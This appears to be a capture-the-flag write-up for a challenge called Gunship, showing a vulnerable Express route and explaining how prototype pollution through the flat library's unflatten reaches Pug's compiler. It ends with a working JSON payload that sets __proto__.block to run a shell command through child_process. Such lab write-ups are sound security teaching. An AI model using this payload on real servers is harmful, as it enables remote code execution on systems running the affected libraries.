Gunship¶
Link
Findings¶
routes/index.js
router.post("/api/submit", (req, res) => {
const { artist } = unflatten(req.body);
if (
artist.name.includes("Haigh") ||
artist.name.includes("Westaway") ||
artist.name.includes("Gingell")
) {
return res.json({
response: pug.compile(
"span Hello #{user}, thank you for letting us know!",
)({ user: "guest" }),
});
} else {
return res.json({
response:
"Please provide us with the full name of an existing member.",
});
}
});
package.json
Vulnerabilities¶
Pug + prototype pollution / AST1 gadget chains¶
- PugJS GitHub issue: “prototype pollution gadgets” (Issue #3414)
- POSIX: “AST Injection, Prototype Pollution to RCE”
- KTH LangSec: server-side prototype pollution gadget collection
- HackTricks: NodeJS
__proto__/ prototype pollution - Paper (Oakland): “Undefined-oriented Programming: Detecting and Chaining Prototype Pollution Gadgets in Node.js Template Engines” (PDF)
- Paper (USENIX Security 2024): “GHunter: Universal Prototype Pollution Gadgets in JavaScript Runtimes” (PDF)
- Blog: “Prototype Pollution in PugJS” (Ian)
flat / flatten-unflatten prototype pollution¶
- GitHub Security Advisory:
flatvulnerable to Prototype Pollution (CVE-2020-36632) - NVD: CVE-2020-36632 entry
- Snyk advisory: Prototype Pollution in
flat(CVE-2020-36632) flatGitHub issue: Prototype Pollution (Issue #105)
Notes¶
Block matters because the app later calls Pug compile/render and Pug’s compiler walks an AST-ish structure that includes a .block field.
Generic pipeline with prototype pollution “shortcut” to execution¶
[Template]
|
v
[Lexer] ..........> [Tokens]
|
v
[Parser] ..........> [AST]
|
v
[Compiler] .........> [Function]
|
v
[Execute] ..........> [Result]
|
v
[Command Execution]
Where prototype pollution fits (Gunship):
(you control via unflatten)
|
v
[Object.prototype]
|
| (inherited property lookup)
v
[Parser/Compiler/Execute reads node.block / node.type / node.line]
|
v
[Command Execution]
Meaning: pollution only matters if it lands on a property name the pipeline actually reads.
Same pipeline, labeled as Pug internals¶
"<Template>"
"h1= msg"
|
v
[Lexer: pug-lexer] ..........> [Tokens]
|
v
[Parser: pug-parser] ..........> [AST]
|
v
[Compiler: pug-code-gen] .......> [JS Function]
|
v
[Execute] .................> [result]
How this maps to the Gunship challenge and why __proto__.block = { type, line } “works”¶
You send JSON
|
v
unflatten() builds object
|
v
__proto__.block poisons Object.prototype.block
|
v
Pug later does: node.block (doesn't care if inherited)
|
v
Compiler/debug/codegen touches block.type / block.line
|
v
Your "block-shaped" object gets treated like a real AST node
Rule of thumb: Prototype pollution is delivery. block/type/line is the
targeted package that the Pug pipeline opens. polluted is a package nobody
opens.
If you paste the few lines where the app calls Pug (compile/render) and what object it passes in, I can point at the exact fields being accessed so you can pick gadget keys deliberately instead of guessing.
Exploit¶
{
"artist.name": "Gingell",
"__proto__.block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync('whoami > /app/static/pwned').toString())"
}
}
Gotcha